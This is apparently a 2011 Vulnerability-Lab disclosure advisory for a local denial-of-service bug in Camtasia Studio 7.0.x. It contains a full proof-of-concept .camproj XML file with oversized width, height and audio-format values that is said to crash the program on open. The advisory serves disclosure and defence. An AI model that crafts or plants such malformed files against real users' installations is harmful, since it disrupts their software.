Document Title:
===============
Camtasia Studio v7.0.x - Denial of Service Vulnerability



Release Date:
=============
2011-06-19


Vulnerability Laboratory ID (VL-ID):
====================================
158


Product & Service Introduction:
===============================
Camtasia Studio ist ein professioneller Desktop-Camcorder, mit dem Sie Ihren Bildschirm abfilmen können.
Die aufgenommenen Videos lassen sich im Flashformat (SWF und FLV), Silverlight, QuickTime (MOV), RM, animiertes GIF, 
AVI oder iPod-video-Format speichern oder gleich in eine ausführbare EXE umwandeln.  Camtasia Studio  bietet besondere Effekte 
für Mausklicks oder Tastatureingaben und kann Cursor-Bewegungen automatisch verfolgen oder in das Bild hinein zoomen.

Dank der ebenfalls integrierten Bearbeitungs-Funktionen können die erstellten Filme auch gleich geschnitten, editiert oder 
exportiert werden. Auf Wunsch lassen sich die Videos oder die daraus erzeugten Einzelbilder sogar vertonen oder mit einem 
Untertitel versehen. In der Version 6.0 können Sie Videos in HD-Qualität erstellen und eine 3D-Perspektive verleihen. Alle Änderungen 
und Neuerungen finden Sie in den offiziellen Release-Notes auf der Homepage des Herstellers.

(Copy of the Vendor Homepage: http://www.techsmith.de/)


Abstract Advisory Information:
==============================
Vulnerability-Lab Team discovered a Denial of Service vulnerability on Camtasia Studio v7.0.x


Vulnerability Disclosure Timeline:
==================================
2011-06-20:	Public or Non-Public Disclosure


Discovery Status:
=================
Published


Affected Product(s):
====================

Exploitation Technique:
=======================
Local


Severity Level:
===============
Low


Technical Details & Description:
================================
A run-time error is detected on the ProjectWidth & ProjectHeight of the generated .camproj files. The bug allows to crash the 
camtasia service with a unhandled access violation. When the file is saved on the drag&drop catch of camtasia the error is stable on startup. 
Execution of code is not possible.

Vulnerable Section:		
				[+] ProjectWidth & ProjectHeight

Pictures:				
				../crash.png
				../reproduce.png
				../rt-corruption.png
				../corruption2.png


Proof of Concept (PoC):
=======================
The vulnerability can be exploited by local attackers with user privileges. For demonstration or reproduce ...

<?xml version="1.0"?>
<Project_Data Version="7.00">
<Project_Settings>
<ProfileName>Benutzerdefiniert</ProfileName>
<ProjectWidth>9999</ProjectWidth>
<ProjectHeight>9999</ProjectHeight>
<IsCustomProject>1</IsCustomProject>
<SavedProjectSettings>0</SavedProjectSettings>
<LastFlashTemplate>-1</LastFlashTemplate>
</Project_Settings>

<UI_Layout>
<Video>1</Video>
<AudioOne>1</AudioOne>
<AudioTwo>0</AudioTwo>
<Zoom>0</Zoom>
<CursorKeyframe>0</CursorKeyframe>
<Callout>0</Callout>
<PIP>0</PIP>
<PIPAudio>0</PIPAudio>
<Questions>0</Questions>
<Caption>0</Caption>
<AudioThree>0</AudioThree>
<VideoSelected>1</VideoSelected>
<VideoAudioSelected>0</VideoAudioSelected>
<AudioTwoSelected>1</AudioTwoSelected>
<PIPSelected>1</PIPSelected>
<PIPAudioSelected>0</PIPAudioSelected>
<CaptionSelected>1</CaptionSelected>
<AudioThreeSelected>1</AudioThreeSelected>
<Video1AndAudio1Linked>1</Video1AndAudio1Linked>
<PIPVideoAndAudioLinked>1</PIPVideoAndAudioLinked>
<Bookmarks>1</Bookmarks>
</UI_Layout>

<AutoSaveFile>C:\Users\Rem0ve\AppData\Local\TechSmith\Camtasia Studio\7.0\Auto-Saves\PoC5caec6e.autosave.camproj</AutoSaveFile>

<PowerPointProject>0</PowerPointProject>

<PowerPointFilename></PowerPointFilename>

<DockPIP>0</DockPIP>
<ZoomPanHints>1</ZoomPanHints>
<ClipBin_Array>
<ClipBin_Object>
<ClipName>1.TSCTitle7</ClipName>
</ClipBin_Object>
</ClipBin_Array>

<DShowControl_ClipMap>
<DShowControl_ClipMap_Object>
<FileName>2.TSCTitle7</FileName>
<PPTFile></PPTFile>
<FromPPT>0</FromPPT>
<Track>0</Track>
<Flags>4</Flags>
<Start>0</Start>
<End>50000000</End>
<ClipHasAudio>0</ClipHasAudio>
<BitsPerPixel>32</BitsPerPixel>
<Width>9999</Width>
<Height>9999</Height>
<FileLength>0</FileLength>
<MarkIn>0</MarkIn>
<MarkOut>0</MarkOut>
<MediaStart>0</MediaStart>
<MediaEnd>0</MediaEnd>
<FrameRate>10.000000</FrameRate>
<ClipSpeed>1.000000</ClipSpeed>
<WFSize>65535</WFSize>
<WFAvgBytesPerSec>-1</WFAvgBytesPerSec>
<WFBlockAlign>65535</WFBlockAlign>
<WFChannels>65535</WFChannels>
<WFSamplesPerSec>-1</WFSamplesPerSec>
<WFBitsPerSample>65535</WFBitsPerSample>
<WFFormatTag>65535</WFFormatTag>
<ClipMapIndex>0</ClipMapIndex>
<ClipTitle>                                                                                                                                                                                                                                                                   </ClipTitle>
<PowerPointSlide>0</PowerPointSlide>
<SplitMinStart>0</SplitMinStart>
<SplitMinEnd>0</SplitMinEnd>
<Extra>0</Extra>
<BuddyID>-1</BuddyID>
</DShowControl_ClipMap_Object>
</DShowControl_ClipMap>

<PIP_Array>
</PIP_Array>

<Zoom_Array>
</Zoom_Array>

<CursorKeyframe_Array>
<Default_Effects>
<CursorSize>
<Size>1.00</Size>
</CursorSize>
<Highlight>
<Type>0</Type>
<Size>45.00</Size>
<Feather>5.00</Feather>
<Color>0x00FFFF00</Color>
<Opacity>1.00</Opacity>
<BlurRadius>0.00</BlurRadius>
<Magnification>2.00</Magnification>
</Highlight>
<Click>
<Effects>
<Effects_Object>
<Main>
<Type>0</Type>
<Color>0xFFFF0000</Color>
<Size>20.00</Size>
<Duration>0.80</Duration>
</Main>
<Sound>
<Filename></Filename>
<Volume>1.00</Volume>
</Sound>
</Effects_Object>
<Effects_Object>
<Main>
<Type>0</Type>
<Color>0xFFFF0000</Color>
<Size>20.00</Size>
<Duration>0.80</Duration>
</Main>
<Sound>
<Filename></Filename>
<Volume>1.00</Volume>
</Sound>
</Effects_Object>
<Effects_Object>
<Main>
<Type>0</Type>
<Color>0xFFFF0000</Color>
<Size>20.00</Size>
<Duration>0.80</Duration>
</Main>
<Sound>
<Filename></Filename>
<Volume>1.00</Volume>
</Sound>
</Effects_Object>
<Effects_Object>
<Main>
<Type>0</Type>
<Color>0xFF0000FF</Color>
<Size>20.00</Size>
<Duration>0.80</Duration>
</Main>
<Sound>
<Filename></Filename>
<Volume>1.00</Volume>
</Sound>
</Effects_Object>
<Effects_Object>
<Main>
<Type>0</Type>
<Color>0xFFFF0000</Color>
<Size>20.00</Size>
<Duration>0.80</Duration>
</Main>
<Sound>
<Filename></Filename>
<Volume>1.00</Volume>
</Sound>
</Effects_Object>
<Effects_Object>
<Main>
<Type>0</Type>
<Color>0xFFFF0000</Color>
<Size>20.00</Size>
<Duration>0.80</Duration>
</Main>
<Sound>
<Filename></Filename>
<Volume>1.00</Volume>
</Sound>
</Effects_Object>
<Effects_Object>
<Main>
<Type>0</Type>
<Color>0xFFFF0000</Color>
<Size>20.00</Size>
<Duration>0.80</Duration>
</Main>
<Sound>
<Filename></Filename>
<Volume>1.00</Volume>
</Sound>
</Effects_Object>
<Effects_Object>
<Main>
<Type>0</Type>
<Color>0xFFFF0000</Color>
<Size>20.00</Size>
<Duration>0.80</Duration>
</Main>
<Sound>
<Filename></Filename>
<Volume>1.00</Volume>
</Sound>
</Effects_Object>
<Effects_Object>
<Main>
<Type>0</Type>
<Color>0xFFFF0000</Color>
<Size>20.00</Size>
<Duration>0.80</Duration>
</Main>
<Sound>
<Filename></Filename>
<Volume>1.00</Volume>
</Sound>
</Effects_Object>
<Effects_Object>
<Main>
<Type>0</Type>
<Color>0xFFFF0000</Color>
<Size>20.00</Size>
<Duration>0.80</Duration>
</Main>
<Sound>
<Filename></Filename>
<Volume>1.00</Volume>
</Sound>
</Effects_Object>
<Effects_Object>
<Main>
<Type>0</Type>
<Color>0xFFFF0000</Color>
<Size>20.00</Size>
<Duration>0.80</Duration>
</Main>
<Sound>
<Filename></Filename>
<Volume>1.00</Volume>
</Sound>
</Effects_Object>
</Effects>
</Click>
<CursorVisibility>
<IsVisible>1</IsVisible>
</CursorVisibility>
</Default_Effects>
</CursorKeyframe_Array>

<Overlay_Array>
</Overlay_Array>

<Bookmark_Array>
<Bookmark_Array_Object>
<Start>0</Start>
<UniqueID>0x000003E9</UniqueID>
<Text>                                                                                                                                                                                                                                                                   </Text>
<UseAsMarker>1</UseAsMarker>
<IndentLevel>0</IndentLevel>
<ClipID>0</ClipID>
<Image_Object>
<ImagePath></ImagePath>
</Image_Object>
</Bookmark_Array_Object>
</Bookmark_Array>

<QuestionGroup_Array>
</QuestionGroup_Array>

<DShowControl_Edit_Array>
</DShowControl_Edit_Array>

<Title_Array>
<Title_Array_Object>
<ID>1</ID>
<TitleName>                                                                                                                                                                                                                                                                   </TitleName>
<BGImage></BGImage>
<BGColor>0x00000000</BGColor>
<BGType>2</BGType>
<AddTextDropShadow>1</AddTextDropShadow>
<TextVJust>1</TextVJust>
<RichText>{\rtf1\ansi\ansicpg1252\deff0\deflang1031{\fonttbl{\f0\fnil\fcharset0 Arial;}}

{\colortbl ;\red255\green255\blue255;}

\viewkind4\uc1\pard\qc\cf1\fs36                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           \par

                                                                                                                                                                                                                                                                                                                     \par

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          \cf0\par

}

</RichText>
<TextRectDest_X>10.00</TextRectDest_X>
<TextRectDest_Y>10.00</TextRectDest_Y>
<TextRectDest_Width>9979.00</TextRectDest_Width>
<TextRectDest_Height>9979.00</TextRectDest_Height>
<CreateMarker>1</CreateMarker>
<AutoSizeClip>1</AutoSizeClip>
<TitleClipHeight>9999</TitleClipHeight>
<TitleClipWidth>9999</TitleClipWidth>
<Title_Image_Array>
</Title_Image_Array>
<StaticTitle>1</StaticTitle>
</Title_Array_Object>
<Title_Array_Object>
<ID>2</ID>
<TitleName>                                                                                                                                                                                                                                                                   </TitleName>
<BGImage></BGImage>
<BGColor>0x00000000</BGColor>
<BGType>2</BGType>
<AddTextDropShadow>1</AddTextDropShadow>
<TextVJust>1</TextVJust>
<RichText>{\rtf1\ansi\ansicpg1252\deff0\deflang1031{\fonttbl{\f0\fnil\fcharset0 Arial;}}

{\colortbl ;\red255\green255\blue255;}

\viewkind4\uc1\pard\qc\cf1\fs36                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           \par

                                                                                                                                                                                                                                                                                                                     \par

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          \cf0\par

}

</RichText>
<TextRectDest_X>10.00</TextRectDest_X>
<TextRectDest_Y>10.00</TextRectDest_Y>
<TextRectDest_Width>9979.00</TextRectDest_Width>
<TextRectDest_Height>9979.00</TextRectDest_Height>
<CreateMarker>1</CreateMarker>
<AutoSizeClip>1</AutoSizeClip>
<TitleClipHeight>9999</TitleClipHeight>
<TitleClipWidth>9999</TitleClipWidth>
<Title_Image_Array>
</Title_Image_Array>
<StaticTitle>0</StaticTitle>
</Title_Array_Object>
</Title_Array>

<Caption_Array>
<MaxCaptionLength>32</MaxCaptionLength>
<AlwaysDisplay>0</AlwaysDisplay>
<OverlayCaptions>0</OverlayCaptions>
<ShowCaptions>1</ShowCaptions>
</Caption_Array>

<NoiseFilterInfo>
<AudioVocalEnhancement>0</AudioVocalEnhancement>
<AudioGlobalBypass>0</AudioGlobalBypass>
<AudioTraining>0</AudioTraining>
<AudioClippingReduction>0</AudioClippingReduction>
<AudioClickReduction>0</AudioClickReduction>
<AudioNoiseReduction>0</AudioNoiseReduction>
<AudioClickSensitivity>0.50</AudioClickSensitivity>
<AudioNoiseReduction>1.00</AudioNoiseReduction>
<AudioNoiseSensitivity>1.00</AudioNoiseSensitivity>
<AudioCompressionOn>0</AudioCompressionOn>
<AudioCompressionPreset>1</AudioCompressionPreset>
<AudioCurRatio>20.00</AudioCurRatio>
<AudioCurThreshold>-30.00</AudioCurThreshold>
<AudioCurGain>5.00</AudioCurGain>
<AudioCurAttack>1.00</AudioCurAttack>
<AudioCurRelease>200.00</AudioCurRelease>
<AudioCustRatio>20.00</AudioCustRatio>
<AudioCustThreshold>-30.00</AudioCustThreshold>
<AudioCustGain>5.00</AudioCustGain>
<AudioCustAttack>1.00</AudioCustAttack>
<AudioCustRelease>200.00</AudioCustRelease>
</NoiseFilterInfo>

<Project_Notes>
</Project_Notes>

<Project_MetaData>
<Project_MetaData_Object>
<FieldArrayKey>8</FieldArrayKey>
<Value>Unbenannt</Value>
</Project_MetaData_Object>
<Project_MetaData_Object>
<FieldArrayKey>13</FieldArrayKey>
<Value>28.01.2010 08:57:15 </Value>
</Project_MetaData_Object>
<Project_MetaData_Object>
<FieldArrayKey>16</FieldArrayKey>
<Value>DEU</Value>
</Project_MetaData_Object>
</Project_MetaData>

</Project_Data>


Security Risk:
==============
The security risk of the local denial of service vulnerability is estimated as low.


Credits & Authors:
==================
Vulnerability Research Laboratory   -   N/A  Anonymous


Disclaimer & Information:
=========================
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